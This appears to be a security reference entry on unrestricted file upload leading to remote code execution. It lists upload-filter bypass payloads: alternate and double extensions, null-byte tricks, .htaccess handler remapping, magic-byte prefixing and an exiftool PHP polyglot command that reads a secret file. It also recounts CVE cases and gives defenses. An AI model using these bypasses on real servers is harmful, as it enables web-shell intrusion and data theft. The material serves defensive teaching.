Unrestricted File Upload
An upload feature lets the attacker place a file whose type, name or location the server later treats as executable, turning a “profile picture” field into web-shell RCE (CWE-434).
How it works
RCE needs two things: the file must land somewhere the server will execute it (a web root with an active handler, a cron dir, an XSLT/template processor), and its name/content must survive validation as executable. The defense being bypassed is usually one of: client-side check, Content-Type check, extension denylist, extension allowlist, or content/magic-byte check. Each falls to a different trick, so test them as a ladder. Note the handler is stack-specific — a .php shell is inert on ASP.NET/IIS; use .aspx/.asp there.
Techniques / payloads (bypass ladder)
- Client-side only: intercept in Burp, upload
shell.phpdirectly. Content-Typecheck: keep.php, set headerContent-Type: image/png.- Extension denylist:
- Alternate executable extensions:
.php5 .php7 .phtml .pht .phar .phps .pgif,.asp .aspx .cshtml,.jsp .jspx. - Case variation on Windows/IIS:
.pHp,.PHP. - Double extension where the server executes the last recognized one:
shell.php.jpg(if.jpgunhandled, Apache falls back to.php),shell.jpg.php. - Legacy truncation: null byte
shell.php%00.jpg, IIS semicolonshell.php;.jpg, trailingshell.php./shell.php%20/shell.php::$DATA.
- Alternate executable extensions:
- Config-file upload (no code extension needed):
- Apache
.htaccess→AddType application/x-httpd-php .jpg, then upload a.jpgweb shell. - IIS
web.config→ remap handlers / add an ASP handler.
- Apache
- Content / magic-byte check:
- Prepend a signature:
GIF89a<?php ... ?>, or\xFF\xD8\xFF(JPEG) /\x89PNG. - True polyglot (defeats real image validation):
exiftool -Comment='<?php echo file_get_contents("/home/carlos/secret"); ?>' cover.png -o polyglot.php— the file is a valid PNG and valid PHP; served through PHP because its real extension is.php.
- Prepend a signature:
- Where name is server-controlled: if the server forces a UUID/
.pngname, pivot to path traversal in the destination parameter to write into an executable dir (e.g. cron), or a race condition — request the file in the window between write and the server’s move/delete (Turbo Intruder queues the fetch during upload).
Notable cases
- GeoNetwork (CVE-2026-63219 + CVE-2026-58400). Missing authorization on the formatter upload endpoint (unauthenticated file upload) chained with an unsafe Saxon XSLT processor (
ALLOW_EXTERNAL_FUNCTIONSunset) — upload a malicious XSLT that calls JavaRuntime→ unauthenticated reverse shell. - ImageMagick (ImageTragick, CVE-2016-3714/3718). An “image” upload is processed by a vulnerable ImageMagick delegate → SSRF and RCE from a crafted MVG/SVG; see SSRF in Image and Media Processors.
- Ghostscript CVE-2026-125396 (fixed 10.08.0). A font-loading use-after-free disables
-dSAFER. Image and document libraries (ImageMagick, Pillow, libvips, Qt plugins) pass PostScript/EPS content to Ghostscript regardless of a.png/.jpg/.pdfname, so thumbnailing, cropping and previews are enough. Demonstrated through ~10 apps: unauthenticated via a Debian 13 shared print queue, Roundcube attachment preview and the Forminator / Essential Addons for Elementor upload forms; WordPress core needs an upload-capable (Author+) account and closed its own path as CVE-2026-65640 in 7.0.4. Commands run as the rendering account (Ghostscript sandbox escape). - WordPress plugins — Forminator and Elementor Pro flaws let unauthenticated attackers upload PHP and execute code; PolyShell abuses polyglots against Magento/Adobe Commerce.
- SEMrush logo upload RCE — $10,000 HackerOne bounty: image upload field → code execution.
- Blind upload → cron (bug bounty). Controlled content + controlled destination dir but forced
.pngname and no readback: path-traversal write into a cron directory achieves execution despite never retrieving the file.
Defenses
- Validate by content (parse/re-encode the image) and enforce an extension allowlist; reject polyglots by re-rendering uploads to a canonical format.
- Store uploads outside the web root, serve via a handler that never executes, from a filesystem mounted
noexecwith disabled script handlers (php_admin_flag engine off). - Randomize filenames server-side; forbid attacker control of the storage path (kills traversal) and of
.htaccess/web.config. - Serve downloads with
Content-Disposition: attachmentand a safeContent-Type; cap size and scan. - Treat every renderer in the processing path as attack surface: identify by magic bytes, block PostScript/EPS delegates where not needed, and update Ghostscript copies bundled in containers and apps, not just the host package.
Related
- Remote Code Execution · Web Shells · SSRF in Image and Media Processors · Server-Side Request Forgery
See also: Path Traversal · Zip Slip and Archive Extraction
Sources
- GeoNetwork Pre-Auth RCE via file upload and unsafe XSLT · original
- Escalating a Blind Upload to RCE via Path Traversal into Cron · original
- Unrestricted File Upload Leads to SSRF and RCE (ImageMagick) · original
- Bypassing File Upload Validation to Achieve RCE · original
- RCE via Polyglot Web Shell Upload · original
- File Upload Vulnerability Testing: Bypassing Filters and Getting RCE · original
- Researchers Demonstrate Ghostscript Sandbox-Escape RCE via Crafted File Uploads in Popular Apps · original